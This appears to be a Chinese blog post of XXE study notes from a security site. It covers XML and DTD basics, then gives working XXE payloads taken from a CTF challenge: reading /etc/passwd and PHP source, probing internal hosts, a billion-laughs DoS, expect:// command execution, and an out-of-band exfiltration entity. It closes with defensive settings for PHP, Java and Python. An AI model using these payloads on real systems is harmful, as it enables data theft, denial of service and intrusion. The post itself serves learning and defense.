freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XXE学习笔记
2021-12-23 21:06:45
所属地 四川省

什么是XXE?

XXE全称XML External Entity Injection,即外部实体注入。owasp网站对其的描述是:XXE是针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的 XML 输入被弱配置的 XML 解析器处理时,就会发生这种攻击。这种攻击可能导致机密数据泄露、拒绝服务、服务器端请求伪造、从解析器所在机器的角度进行端口扫描,以及其他系统影响。

XML基础知识

XML 指可扩展标记语言(EXtensible Markup Language),是一种很像html的语言。但它的标签需要我们自己定义。

基本格式:

<?xml version="1.0" encoding="UTF-8"?> //开头需要声明
<root> //必须包含一个根元素
    <child>//子元素
    	<subchild></subchild>
    </child>
</root>//所有元素都需要有对应的关闭标签

语法规则:

1.标签大小写敏感

2.属性值必须加引号,单双都可,如果值用双引号可以用单引号包裹

3.所有元素都必须有一个关闭标签

4.标签必须正确嵌套

5.XML中空格会被保留,不像html中只保留一个

6.<、&必须用实体引用,>、‘、“建议使用实体引用(以防万一还是都用实体引用吧)

DTD基础知识

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

DTD中实体可分为内部实体和外部实体,又可分为参数实体。下面分别介绍这两种分类。(其实关于这种分类,我在网上看到好几种说法,也不知道谁是最准确的,但是不管怎么分,也就只有那么几种写法)

内部实体和外部实体

内部实体声明:(在DTD内部声明)

语法:<!ENTITY entity-name "entity-value"> 
示例:
<!DOCTYPE author[
	<!ELEMRNT author (#PCDATA)
	<!ENTITY name "Restart">
]>
<author>&name;</author>//引用实体

外部实体声明:(在DTD外部声明实体)

语法:<!ENTITY entity-name SYSTEM "URL/URI"> 
示例:
<!DOCTYPE author [
	<!ENTITY name SYSTEM "author.dtd">
]>
<author>&name;</author>//引用实体

参数实体

语法:<!ENTITY % entity-name "entity-value">
示例:
<!DOCTYPE author[
	<!ENTITY % name "Restart">
]>
<author>%name;</author>

可以发现除了参数实体在定义和引用的时候需要用%,其他实体引用都是用&。

总结出来可以知道,在XML中引用实体,都需要(&或%)+(实体名)+(;),这三个条件(或者说元素)缺一不可。

一些利用手段

1.文件读取

以[NCTF2019]True XML cookbook这道题为例,这里就跳过其他步骤直接来到xxe环节

抓包后简单构造读取文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

image

有的时候不能直接读出文件内容,需要编码一下,例如读取php文件。因为php文件内部已经含有<等字符,因此需要用filter来读

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">]>

还有一个需要注意的地方,就是嵌套的参数实体,内层的%需要改为字符实体,例如

<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

2.内网探测

接上题,分别构造payload查看hosts文件和arp文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///etc/hosts">]>

image

这里是因为hosts文件里没有显示可供访问的内网ip,所以我们去查看arp文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///proc/net/arp">]>

image
查到了两个ip,接下来继续利用xxe访问内网,需要爆破一下c段,然后访问。

3.Dos攻击

本质是递归,通俗来说就是套娃

<?xml version="1.0"?>
     <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
     <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
     <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
     ]>
     <lolz>&lol9;</lolz>

4.expect rce

在安装expect扩展的PHP环境里执行系统命令

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

无回显的xxe

这种xxe需要将数据外带,可以利用burp上的collaborator工具

image

原理就是将这个工具随机产生的url复制到xxe的payload中,当目标服务器进行了外部的请求和交互,该工具会记录下来,于是证明了漏洞存在。

当然,除了利用这个工具,其他平台也可以,类比其他攻击方式的数据外带

Content-Type中的json和xml

当WEB服务使用XML或者JSON中的一种进行传输时,服务器可能会接收开发人员并未预料到的数据格式。如果服务器上的XML解析器的配置不完善,在JSON传输的终端可能会遭受XXE攻击

简单来说就是将Content-Type: application/json改为Content-Type: application/xml,然后将post的内容格式也从json转换为xml,举个例子

原始json数据:
{"search":"name","value":"netspitest"} 

修改为xml格式后:
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>

加上root的原因是:json转换过来后没有XML格式文件所必须的元素,可能导致服务器无法正常响应

关于office文件xxe攻击的实现

这个地方首先需要明白xml文件的文件格式,其本质也属于zip压缩文件,相信做过misc题目的同学应该都清楚,office的文件都可以将后缀名改成zip,以压缩文件的方式查看。

了解了这一点,那么来看看excel的构成。这里我新建了一个空白的excel文件,将后缀改为了zip后打开

image

这里关注[Content_Types].xml文件,将payload插入这个文件,然后将压缩包还原为excel文件进行后续攻击

为了能够更加清楚地理解这种攻击方式,这里给出三个例子

1.利用docx实现XXE

2.利用Excel进行XXE攻击

3.利用Blind XXE Getshell(Java网站)

因此,当渗透测试时遇到上传office文件的地方,不妨尝试一下这种攻击方式

挖掘XXE的方法

1.检测XML是否会被解析

2.检测服务器是否支持外部实体

3.如果上面两步都支持,那么就看能否回显。有则直接攻击,无则参考无回显的xxe攻击

防御XXE的方法

  1. 使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 过滤和验证用户提交的XML数据
    过滤关键词<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

  2. 不允许XML中含有任何自己声明的DTD

  3. 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可

参考链接

# 渗透测试 # web安全 # CTF # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录